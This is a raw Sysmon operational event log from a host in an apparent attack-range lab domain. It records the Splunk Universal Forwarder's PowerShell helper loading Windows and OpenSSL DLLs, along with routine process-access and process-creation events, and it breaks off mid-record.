Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000051699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000051698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000051697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000051696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000051695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000051694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000051693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000051692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000051691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000051690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000051689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000051688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000051687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000051686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000051685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000051684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000051683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000051682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000051681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000051680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000051679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000051678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000051677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000051676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000051675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000051674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000051673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000051672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000051670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000051669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000051668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000051667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000051662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.075{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000051661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.076{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000051817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000051816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 23542300x800000000000000051815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.744{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 